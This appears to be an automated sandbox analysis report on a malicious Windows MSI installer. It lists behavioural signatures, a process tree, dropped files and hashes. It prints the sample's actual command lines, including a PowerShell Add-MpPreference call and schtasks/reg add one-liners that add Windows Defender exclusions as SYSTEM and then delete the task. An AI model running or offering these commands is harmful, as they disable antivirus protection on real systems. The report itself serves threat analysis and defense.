Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 05:41

General

  • Target
    setup_n0c015.msi
  • Size 8.8MB
  • Sample260804-gdv5gsgp3t
  • SHA256 17f30e667f29d5c6ec219e42c5742f63bcecafeae2e67dbe0b040eb912231ec7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 6 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 4 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 11 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\setup_n0c015.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:1916
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5424
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:120
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 3E3D1BD85FAAB7B289EBB8693798DECE E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:5264
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:5828
  • C:\Users\Public\bwtta2\KvUAAO.exe
    "C:\Users\Public\bwtta2\KvUAAO.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:408
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:3328
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\bwtta2\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4480
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\bwtta2\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3200
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5348
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4440
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          PID:5668
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:124
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4348
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5520
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              PID:3424
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1260
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4312
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:3320
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:5780
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:244
              • C:\Windows\system32\cmd.exe
                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\bwtta2" /t REG_DWORD /d 0 /f
                1⤵
                • Executes a command shell one-liner
                PID:2908
              • C:\Windows\system32\cmd.exe
                cmd.exe
                1⤵
                  PID:5360
                • C:\Windows\system32\cmd.exe
                  "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                  1⤵
                  • Executes a command shell one-liner
                  PID:4412
                • C:\Windows\system32\cmd.exe
                  "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                  1⤵
                  • Executes a command shell one-liner
                  PID:3576

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

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                      Downloads

                      e595e92.rbs

                      • Path C:\Config.Msi\e595e92.rbs
                      • Size 7KB
                      • SHA256 8a45084f08dfcda1c03d98878f9e1be40d8c4a27285547d6bef903d063241699
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      KvUAAO.exe

                      • Path C:\Users\Public\bwtta2\KvUAAO.exe
                      • Size 135KB
                      • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      UxEnhance64.dll

                      • Path C:\Users\Public\bwtta2\UxEnhance64.dll
                      • Size 3.1MB
                      • SHA256 3d01795568cebf7702d6301df48939c85634dd895c2220bb683989317849307b
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      adoresd.dat

                      • Path C:\Users\Public\bwtta2\adoresd.dat
                      • Size 4.7MB
                      • SHA256 09a4ad23ed20d6fd038d8b812f87985f2123dbb8299981a2be5a16bd0265f8f2
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      msadox.tb

                      • Path C:\Users\Public\bwtta2\msadox.tb
                      • Size 8KB
                      • SHA256 26b66afb1f69b2374d0e05555a16a1735eaf0b32a4a75ce391e7ff6c7b7d3696
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      MSI679B.tmp

                      • Path C:\Windows\Installer\MSI679B.tmp
                      • Size 8.7MB
                      • SHA256 a8b9b5fdf399bf98738920ee9f6e6cd37aac9b06917b9018033cc9ba01acdc48
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      e595e91.msi

                      • Path C:\Windows\Installer\e595e91.msi
                      • Size 8.8MB
                      • SHA256 17f30e667f29d5c6ec219e42c5742f63bcecafeae2e67dbe0b040eb912231ec7
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      metadata-2

                      • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                      • Size 26.1MB
                      • SHA256 3a4ce361b3d50bc93ffd856ec0d1c2581fd638c9efb4598963082eecf1098310
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      {a755d7f9-03ad-4c7d-8799-fba590871241}_OnDiskSnapshotProp

                      • Path \??\Volume{c61f3bad-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{a755d7f9-03ad-4c7d-8799-fba590871241}_OnDiskSnapshotProp
                      • Size 6KB
                      • SHA256 62cdbb586e80449dd3c3615a8638af5910ded9750741b1d23e31e74dd5d097e0
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      memory/408-73-0x000001F914220000-0x000001F914AB1000-memory.dmp

                      memory/408-75-0x000001F914220000-0x000001F914AB1000-memory.dmp

                      memory/408-60-0x00007FFD3D2B0000-0x00007FFD3D2B2000-memory.dmp

                      memory/408-61-0x00007FFD19B20000-0x00007FFD1A03E000-memory.dmp

                      memory/408-95-0x000001F914220000-0x000001F914AB1000-memory.dmp

                      memory/408-93-0x000001F914220000-0x000001F914AB1000-memory.dmp

                      memory/408-66-0x000001F914220000-0x000001F914AB1000-memory.dmp

                      memory/408-68-0x00007FFD3D2C0000-0x00007FFD3D2C2000-memory.dmp

                      memory/408-88-0x000001F9137A0000-0x000001F91382A000-memory.dmp

                      memory/408-74-0x000001F914220000-0x000001F914AB1000-memory.dmp

                      memory/408-69-0x000001F914220000-0x000001F914AB1000-memory.dmp

                      memory/408-89-0x000001F9137A0000-0x000001F91382A000-memory.dmp

                      memory/408-76-0x000001F914220000-0x000001F914AB1000-memory.dmp

                      memory/408-81-0x000001F914220000-0x000001F914AB1000-memory.dmp

                      memory/408-86-0x000001F9136C0000-0x000001F91370E000-memory.dmp

                      memory/408-90-0x000001F9137A0000-0x000001F91382A000-memory.dmp

                      memory/408-91-0x000001F9137A0000-0x000001F91382A000-memory.dmp

                      memory/3328-105-0x000002727B330000-0x000002727B352000-memory.dmp

                      memory/5264-15-0x00007FFD199F0000-0x00007FFD1A039000-memory.dmp

                      memory/5264-18-0x00007FFD23650000-0x00007FFD23662000-memory.dmp

                      memory/5264-46-0x00007FFD23650000-0x00007FFD23662000-memory.dmp

                      memory/5264-14-0x00007FFD3D2B0000-0x00007FFD3D2B2000-memory.dmp